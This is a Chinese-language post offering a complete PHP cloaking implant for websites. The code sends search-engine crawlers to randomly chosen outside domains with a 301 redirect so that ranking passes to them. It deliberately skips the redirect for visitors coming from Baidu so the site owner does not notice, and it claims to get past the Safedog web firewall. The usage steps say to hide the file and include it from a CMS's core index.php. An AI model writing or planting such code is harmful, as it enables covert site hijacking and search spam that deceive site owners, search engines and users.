功能说明
1.判断蜘蛛跳转
2.支持多个域名随机跳转
3.判断百度搜索进去不进行跳转(防止被发现)
4.正常浏览器访问不跳转
5.过安全狗防护
使用方法
以下代码新建为:useragent.func.php(可以放在隐蔽的地方)
然后在你网站程序核心函数,例如:dedecms动态页面可以在:index.php 进行引入自己新建的代码为: require_once (dirname(__FILE__) . “/useragent.func.php”);
<?php error_reporting(E_ALL^E_NOTICE^E_WARNING); $xieyi="http://"; function checkrobot($useragent=''){ static $kw_spiders = array('bot', 'crawl', 'spider' ,'slurp', 'sohu-search', 'lycos', 'robozilla'); static $kw_browsers = array('msie', 'netscape', 'opera', 'konqueror', 'mozilla'); $useragent = strtolower(empty($useragent) ? $_SERVER['HTTP_USER_AGENT'] : $useragent); if(strpos($useragent, 'http://') === false && dstrpos($useragent, $kw_browsers)) return false; if(dstrpos($useragent, $kw_spiders)) return true; return false; } function dstrpos($string, $arr, $returnvalue = false) { if(empty($string)) return false; foreach((array)$arr as $v) { if(strpos($string, $v) !== false) { $return = $returnvalue ? $v : true; return $return; } } return false; } //网址随机输出,可以填写多个随机输出转移权重的网址 $url[0] = "http://demoo1.com"; $url[1] = "http://demoo2.com"; $url[2] = "http://demoo3.com"; $url[3] = "http://demoo4.com"; $url[4] = "http://demoo5.com"; $url[5] = "http://demoo5.com"; srand ((double)microtime()*1000000); $randomnum = rand(0, count($url)-1); if(checkrobot()){ Header("Location:$url[$randomnum]"); header('HTTP/1.1 301 Moved Permanently'); header("Location:$url[$randomnum]"); exit; } //判断的是百度,如果是百度点击进去就不跳转,防止被发现 if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")) { $file = file_get_contents( $xieyi.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']); echo $file; exit; } ?>
看看看